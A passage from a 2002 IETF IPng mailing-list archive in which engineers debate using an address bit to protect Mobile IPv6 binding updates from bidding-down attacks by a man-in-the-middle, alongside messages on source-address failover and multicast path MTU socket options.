that eventually, Alice will give up and use its weak address, at which point, Mallory will let the traffic through, presumably, because it can break the protocol: is simply bogus. If Alice cares about strong, the connection will simply never happen in the scenario described. In reality the connection will happen, because the premise in the preceding paragraph this is much simpler than rewriting Alice's address with a "weak" address and then sending the packet to Bob. is also bogus. It would be much easier for Mallory to act as a NAT (and flip the strong/weak bit) than to try to guess that some subsequent weak address actually belonged to Alice. The claim on pg 14 furthers this failed line of reasoning: Note that an active attacker on the path between Alice and Bob is able to clear a set bit. However, that changes the address, and Alice is not going to answer to any possible replies sent by Bob. Thus, the bit prevents the attacker from impersonating as Alice and fooling Bob to use the less secure protocol. because it assumes that the operation is unidirectional. All Mallory has to do is act as a well understood NAT and set it back on the return path so Alice would be none the wiser. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 12:25:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35KPIKL023564; Fri, 5 Apr 2002 12:25:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35KPIgw023563; Fri, 5 Apr 2002 12:25:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35KPFKL023556 for ; Fri, 5 Apr 2002 12:25:15 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA04528 for ; Fri, 5 Apr 2002 12:25:17 -0800 (PST) Received: from qwerty.ssvl.kth.se (qwerty.ssvl.kth.se [192.16.125.203]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA16601 for ; Fri, 5 Apr 2002 13:25:16 -0700 (MST) Received: from localhost (qwerty.ssvl.kth.se [127.0.0.1]) by qwerty.ssvl.kth.se (8.11.2/8.11.2) with ESMTP id g35KJXF29461; Fri, 5 Apr 2002 22:19:33 +0200 Date: Fri, 5 Apr 2002 22:19:33 +0200 (CEST) From: Alberto Escudero-Pascual X-X-Sender: To: Tony Hain cc: Erik Nordmark , Pekka Nikander , Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , , , Erik Nordmark Subject: RE: Using "a bit" as a protection against bidding down / for something else In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony! If i understand well the description if your attack Mallory needs to be present for every single packet that Bob is sending to Alice and not only during the bidding down process. In the scenario that you describe Alice will receive traffic from Bob without performing "strong" exchange and hence Alice will be aware of the presence of Mallory. Alice requires a "strong exchange" that Mallory can not impersonate. Mallory can fool Bob to use a weak method but can not fool Alice that is expecting a strong one from Bob. /aep > > One of the issues here is that 5 years from now, if an MN cares about > > the security that the existing (old) MIPv6 correspondent nodes require > > for BUs for that MNs home address, how can the MN express it? > > The semantics of a two way protocol can't be encoded in a single > unidirectional bit. > > > If you leave this decision up to the CN things are quite different. > > The decision will always be up to the CN. Even with the proposed bit, > all the MN can do is indicate its expectations and hope. If the MN > really wants assurance, there will have to be a return message from the > CN that indicates how it will handle any BU. If you are into a > bi-directional protocol, address bits are not the place to encode it. > > > > > Perhaps you don't think it is necessary for the MN to be able > > to express > > this. But it is the packets to that MN that are being "redirected" by > > an attacker. > > > > Yes, but there is nothing the MN can do about that without feedback from > the CN about how it will handle a BU. Simply setting a bit does not > assure that the CN will act acording to the MN's intentions. > > > In draft-montenegro-mipv6sec-bit-method-00.txt, the point in 2.1.1 > The hope is that eventually, Alice will give up and use its weak > address, at which point, Mallory will let the traffic through, > presumably, because it can break the protocol: > is simply bogus. If Alice cares about strong, the connection will simply > never happen in the scenario described. In reality the connection will > happen, because the premise in the preceding paragraph > this is much simpler than rewriting Alice's address with a > "weak" address and then sending the packet to Bob. > is also bogus. It would be much easier for Mallory to act as a NAT (and > flip the strong/weak bit) than to try to guess that some subsequent weak > address actually belonged to Alice. > > The claim on pg 14 furthers this failed line of reasoning: > Note that an active attacker on the path between Alice and Bob is > able to clear a set bit. However, that changes the address, and > Alice is not going to answer to any possible replies sent by Bob. > Thus, the bit prevents the attacker from impersonating as Alice and > fooling Bob to use the less secure protocol. > because it assumes that the operation is unidirectional. All Mallory has > to do is act as a well understood NAT and set it back on the return path > so Alice would be none the wiser. > > > Tony > > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -- -------------------------------------------------------------------------- "After a year's research, one realises it ould have been done in a week." William Henry Bragg (1862-1924) -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 13:32:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35LWtKL023747; Fri, 5 Apr 2002 13:32:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35LWtWP023746; Fri, 5 Apr 2002 13:32:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35LWrKL023739 for ; Fri, 5 Apr 2002 13:32:53 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id g35LVhpw001313 for ; Fri, 5 Apr 2002 13:31:43 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id g35LVhDQ001312 for ipng@sunroof.eng.sun.com; Fri, 5 Apr 2002 13:31:43 -0800 (PST) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g357FvKL020509; Thu, 4 Apr 2002 23:15:57 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA29426; Thu, 4 Apr 2002 23:16:00 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA07507; Fri, 5 Apr 2002 00:15:59 -0700 (MST) Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.11.6/8.11.6/d: outer.mc,v 1.37 2002/04/01 17:50:55 root Exp $) with ESMTP id g357HGT10727; Fri, 5 Apr 2002 07:17:16 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.fm.intel.com (8.11.6/8.11.6/d: inner.mc,v 1.15 2002/04/01 17:51:48 root Exp $) with SMTP id g357EaX11011; Fri, 5 Apr 2002 07:14:36 GMT Received: from fmsmsx28.fm.intel.com ([132.233.42.28]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.1.16) with SMTP id M2002040423152106225 ; Thu, 04 Apr 2002 23:15:21 -0800 Received: by fmsmsx28.fm.intel.com with Internet Mail Service (5.5.2653.19) id <2KDVP14S>; Thu, 4 Apr 2002 23:15:57 -0800 Message-ID: From: "Buraga, Partha S" To: "'ipng@sunroof.eng.sun.com'" Cc: "'ngtrans@sunroof.eng.sun.com'" Subject: failure of source address Date: Thu, 4 Apr 2002 23:13:48 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi In Multihoming scenario, Let us assume that, we selected a source IP address, using IP_HDRINCLD option, for outgoing packet. My doubts are, 1) If selected address( NIC ) fails, Will the packet be delivered into network ? 2) What will be the source address of outgoing packet ? 2) What is the path selected by Kernel to deliver the packet into network ? thanks in advance partha -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 13:33:37 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35LXaKL023757; Fri, 5 Apr 2002 13:33:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35LXae2023756; Fri, 5 Apr 2002 13:33:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35LXYKL023749 for ; Fri, 5 Apr 2002 13:33:34 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id g35LWOpw001322 for ; Fri, 5 Apr 2002 13:32:24 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id g35LWOhT001321 for ipng@sunroof.eng.sun.com; Fri, 5 Apr 2002 13:32:24 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35IQpKL022639 for ; Fri, 5 Apr 2002 10:26:51 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA00416 for ; Fri, 5 Apr 2002 10:26:52 -0800 (PST) Received: from cisco.com (cypher.cisco.com [171.69.11.18]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA20811 for ; Fri, 5 Apr 2002 11:26:51 -0700 (MST) Received: (from eckert@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id KAA03807; Fri, 5 Apr 2002 10:26:05 -0800 (PST) From: Toerless Eckert Date: Fri, 5 Apr 2002 10:26:05 -0800 To: matt@3am-software.com, Erik.Nordmark@sun.com, jinmei@isl.rdc.toshiba.co.jp, ipng@sunroof.eng.sun.com Subject: rfc2292bis text proposal Message-ID: <20020405102605.J23226@cypher.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I would like to propose another section to rfc2292bis for the issue of MTU path discovery with ipv6 multicast. The issue with the current rfc2292bis draft is that path discovery is enabled by default on ipv6 sockets and with ipv6 multicast this is something that applications should shy away from much more than unicast fragmentation because of the implosion of IGMP messages sent back to the source. The most critical case from what we see in IPv4 is the case of applications sending large UDP MTU (4500 bytes or the like) that are getting fragmented at the source into 1500 byte fragments, and then hit some PPPoE/L2TP/GRE/MPLS-VPN/etc.. links (in practice these are hundreds of links) and you have the issue of either re-fragmentation (v4 only) or implosion of ICMP messages. And then add the pathetic case of the broken network with stupid access control policies, and the ICMP messages may not make it back at all and the application breaks completely in some subtrees of it's delivery tree, with routers continuously sending rate-limited ICMP messages, and receivers not getting traffic. For this reason, i would like to propose the following, and i am not sure wether or not this could entirely be put into rfc2292bis or if this would also be considered to be an architectural issue (i hope it can really be claimed to be a socket behavior only issue and thus rfc2292bis): 11.5 Fragmentation and IPv6 multicast packets Path MTU discovery for multicast has severe scalability limitations and should thus be avoided. To ease porting of ipv4 applications and reduce the risk of application developers overlooking this issue, originating of ipv6 multicast packets must behave in the following way: Originating ipv6 multicast packets will insert a fragmentation header when the data is larger than the minimum IPv6 MTU [RFC-2460] or the interface MTU - whichever is smaller. Setting of the IPV6_USE_MIN_MTU option on the socket has no effect on originating ipv6 multicast packets. If an application wants to originate larger ipv6 multicast fragments than the above default behavior, it must use the IPV6_MULTICAST_MTU_DISC socket option: int on = 1; setsockopt(fd, IPPROTO_IPV6, IPV6_MULTICAST_MTU_DISC, &on, sizeof(on)); By default, this option is disabled. Enabling it will allow for the application to originate packets as large as the interface MTU without insertion of fragment headers (fragment headers will still be inserted when the packet is larger than the interface MTU - unless the IPV6_DONTFRAG option has been set of course). The IPV6_DONTFRAG and IPV6_RECVPATHMTU options apply to ipv6 multicast packets as they apply to ipv6 unicast packets. Thanks Toerless -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 13:55:33 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35LtXKL023946; Fri, 5 Apr 2002 13:55:33 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35LtXmG023945; Fri, 5 Apr 2002 13:55:33 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35LtTKL023938 for ; Fri, 5 Apr 2002 13:55:29 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA27458 for ; Fri, 5 Apr 2002 13:55:25 -0800 (PST) Received: from alicia.nttmcl.com (alicia.nttmcl.com [216.69.69.10]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA26020 for ; Fri, 5 Apr 2002 14:55:24 -0700 (MST) Received: (from jj@localhost) by alicia.nttmcl.com (8.10.1/8.10.1) id g35LsIw06352; Fri, 5 Apr 2002 13:54:18 -0800 (PST) Date: Fri, 5 Apr 2002 13:54:18 -0800 From: JJ Behrens To: Alberto Escudero-Pascual Cc: Tony Hain , Erik Nordmark , Pekka Nikander , Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@sun.com, ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else Message-ID: <20020405135418.A29982@alicia.nttmcl.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from aep@it.kth.se on Fri, Apr 05, 2002 at 10:19:33PM +0200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Tony! > > If i understand well the description if your attack Mallory needs to be > present for every single packet that Bob is sending to Alice and not only > during the bidding down process. > > In the scenario that you describe Alice will receive traffic from Bob > without performing "strong" exchange and hence Alice will be aware of the > presence of Mallory. > > Alice requires a "strong exchange" that Mallory can not impersonate. > Mallory can fool Bob to use a weak method but can not fool Alice that is > expecting a strong one from Bob. Sir, You are correct, and this in mentioned on the last paragraph of page 5: Of course, if Alice implements the "strong" exchange, a very valid policy would be for it not to engage any more in "weak" exchanges. This simplifies Alice's protocol processing and is more secure because Alice avoids any risk of falling victim to a bidding down attack. For a mobile node, this translates to requiring a "strong" mechanism for route optimization. The mobile node simply forgoes the benefits of route optimization and limits itself to bidirectional... However, I think a more important point is written in the last paragraph of page 3: For an unsuspecting stationary node that is not interested in redirecting its address, (3) may not be a viable tradeoff. It essentially means that the node only obtains the negative side of the tradeoff (it becomes a potential victim of the vulnerabilities in RR), as it is not at all interested in the benefit (route optimization of its addresses). Of course, I'm still in the process of reading the draft, so I may be wrong. Best Regards, -jj -- Users of C++ should consider hanging themselves rather than shooting their legs off--it's best not to use C++ simply as a better C. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 14:02:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35M2hKL023968; Fri, 5 Apr 2002 14:02:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35M2ht2023967; Fri, 5 Apr 2002 14:02:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35M2eKL023960 for ; Fri, 5 Apr 2002 14:02:40 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA11371 for ; Fri, 5 Apr 2002 14:02:42 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA29772 for ; Fri, 5 Apr 2002 14:02:41 -0800 (PST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Fri, 05 Apr 2002 14:02:40 -0800 From: "Tony Hain" To: "Alberto Escudero-Pascual" Cc: "Erik Nordmark" , "Pekka Nikander" , "Jari Arkko" , "Brian E Carpenter" , "Hesham Soliman \(ERA\)" , , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Fri, 5 Apr 2002 14:02:39 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Alberto Escudero-Pascual wrote: > Alice requires a "strong exchange" that Mallory can not impersonate. > Mallory can fool Bob to use a weak method but can not fool > Alice that is > expecting a strong one from Bob. > All Alice knows is that Bob is not asking for the same protection that Alice is. There are too many semantics being assumed about the magic bit. This specific response assumes that there is an implicit bi-directional requirement that if A sends the bit set to B, then B must use the same bit set in its address back to A. Yet in other messages all the magic bit says it that A doesn't want B to interpret any BU messages that can't be validated. Which is it??? Certainly there is no requirement for B to tell A that it shouldn't interpret a BU from it, since B may have a different policy at the moment. If you really want a protocol then create one, don't assume that a single bit sent in one direction can carry the semantics of a bi-directional protocol. In particular for the problem being solved, don't ever assume that the policies have to be symmetric. All this mechanism is trying to do is let the CN know how to interpret a BU sent on behalf of the MN should be interpreted in a specific way. That is a unidirectional statement, but might include a feedback path to let the MN know if the message was received and the CN will honor it. The opposing unidirectional statement MUST NOT be required to have the same interpretation. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 14:42:14 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35MgEKL024067; Fri, 5 Apr 2002 14:42:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35MgEEM024066; Fri, 5 Apr 2002 14:42:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35MgBKL024059 for ; Fri, 5 Apr 2002 14:42:11 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA23699 for ; Fri, 5 Apr 2002 14:42:13 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA09743 for ; Fri, 5 Apr 2002 14:42:12 -0800 (PST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Fri, 05 Apr 2002 14:42:11 -0800 From: "Tony Hain" To: "JJ Behrens" , "Alberto Escudero-Pascual" Cc: "Erik Nordmark" , "Pekka Nikander" , "Jari Arkko" , "Brian E Carpenter" , "Hesham Soliman \(ERA\)" , , Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Fri, 5 Apr 2002 14:42:11 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <20020405135418.A29982@alicia.nttmcl.com> Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk JJ Behrens wrote: > Sir, > > You are correct, and this in mentioned on the last paragraph > of page 5: > > Of course, if Alice implements the "strong" exchange, a very valid > policy would be for it not to engage any more in "weak" exchanges. > This simplifies Alice's protocol processing and is more secure > because Alice avoids any risk of falling victim to a bidding down > attack. For a mobile node, this translates to requiring a "strong" > mechanism for route optimization. The mobile node simply > forgoes the > benefits of route optimization and limits itself to > bidirectional... > > However, I think a more important point is written in the > last paragraph of > page 3: > > For an unsuspecting stationary node that is not interested in > redirecting its address, (3) may not be a viable tradeoff. It > essentially means that the node only obtains the negative > side of the > tradeoff (it becomes a potential victim of the vulnerabilities in > RR), as it is not at all interested in the benefit (route > optimization of its addresses). > > Of course, I'm still in the process of reading the draft, so > I may be wrong. > Actually your response reminds me of the comment I intended to make earlier. This draft really gets lost in the concept of MN/CN, & Stationary/Mobile. Nothing personal intended, but I suspect this is due to the perspective of the contributers. The terms Stationary & Mobile have no business being in the document since they are related to physical properties of the device, not the header properties of the packets emanating from them. All the points made about a Stationary node would apply just as well to a Mobile who happened to be at home, and all the points about the Mobile device could be used by Stationary that had reason to use a BU to manage associtations across address changes. The terms that might have a more consistent interpretation are; 'intends to use secure MIPv6', or 'does not intend to use secure MIPv6'. Physical properties of the device are not wrapped up in those. The relationship of MN to CN is unidirectional. There may be an inverted pair of those relationships for a connection, but there is no requirement that a pair exists or explicitly does not exist. What should be clear is that policies applied to each of those unidirectional relationships must remain independent. If Alice wants Bob to state intent about using secure MIPv6, a real protocol is required. Trying to overload the semantics of Alice telling Bob that she will be using secure MIPv6 (particularly through a single bit) as a message that Bob must reciprocate is fundamentally flawed. What if Bob had no means to use secure MIPv6? How can Alice tell that condition from Mallory sitting in the middle? What is to prevent Mallory from doing a double address NAT thing where its own IID ends up being presented to Alice and Bob along with appropriate credentials? The address is simply the wrong place to put a single bit flag that really accomplishes nothing in the end. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 14:51:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35MpxKL024091; Fri, 5 Apr 2002 14:51:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35MpxvG024090; Fri, 5 Apr 2002 14:51:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35MpuKL024083 for ; Fri, 5 Apr 2002 14:51:56 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA10296 for ; Fri, 5 Apr 2002 14:51:57 -0800 (PST) Received: from qwerty.ssvl.kth.se (qwerty.ssvl.kth.se [192.16.125.203]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA17888 for ; Fri, 5 Apr 2002 15:51:56 -0700 (MST) Received: from localhost (qwerty.ssvl.kth.se [127.0.0.1]) by qwerty.ssvl.kth.se (8.11.2/8.11.2) with ESMTP id g35MkXF29686; Sat, 6 Apr 2002 00:46:33 +0200 Date: Sat, 6 Apr 2002 00:46:33 +0200 (CEST) From: Alberto Escudero-Pascual X-X-Sender: To: Tony Hain cc: Erik Nordmark , Pekka Nikander , Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , , , Erik Nordmark Subject: RE: Using "a bit" as a protection against bidding down / for something else In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > All Alice knows is that Bob is not asking for the same protection that > Alice is. There are too many semantics being assumed about the magic > bit. This specific response assumes that there is an implicit > bi-directional requirement that if A sends the bit set to B, then B must > use the same bit set in its address back to A. Yet in other messages all > the magic bit says it that A doesn't want B to interpret any BU messages > that can't be validated. Which is it??? Certainly there is no > requirement for B to tell A that it shouldn't interpret a BU from it, > since B may have a different policy at the moment. To my understanding it is becouse Alice uses the "strong" exchange, indicated in IID that doesn't want Bob to perform a BU with a "weak" exchange. Bob policy is independent of this discussion, becouse Bob MUST NOT perform a BU under those circunstances. > If you really want a protocol then create one, don't assume that a > single bit sent in one direction can carry the semantics of a > bi-directional protocol. In particular for the problem being solved, > don't ever assume that the policies have to be symmetric. All this > mechanism is trying to do is let the CN know how to interpret a BU sent > on behalf of the MN should be interpreted in a specific way. That is a > unidirectional statement, but might include a feedback path to let the > MN know if the message was received and the CN will honor it. The > opposing unidirectional statement MUST NOT be required to have the same > interpretation. A feedback path is available using the status field of the Binding. So if Bob has not resources or intentions to follow Alice wishes there is a mechanism to provide feedback. /aep -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 15:26:10 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35NQAKL024174; Fri, 5 Apr 2002 15:26:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g35NQAQl024173; Fri, 5 Apr 2002 15:26:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g35NQ7KL024166 for ; Fri, 5 Apr 2002 15:26:07 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA24854 for ; Fri, 5 Apr 2002 15:26:09 -0800 (PST) Received: from alicia.nttmcl.com (alicia.nttmcl.com [216.69.69.10]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA18740 for ; Fri, 5 Apr 2002 16:26:08 -0700 (MST) Received: (from jj@localhost) by alicia.nttmcl.com (8.10.1/8.10.1) id g35NQ7J11126; Fri, 5 Apr 2002 15:26:07 -0800 (PST) Date: Fri, 5 Apr 2002 15:26:07 -0800 From: JJ Behrens To: ipng@sunroof.eng.sun.com Cc: Tony Hain , Erik Nordmark , Pekka Nikander , Jari Arkko , gab@sun.com Subject: Using "a bit" as a protection against bidding down / for something Message-ID: <20020405152607.B29982@alicia.nttmcl.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline 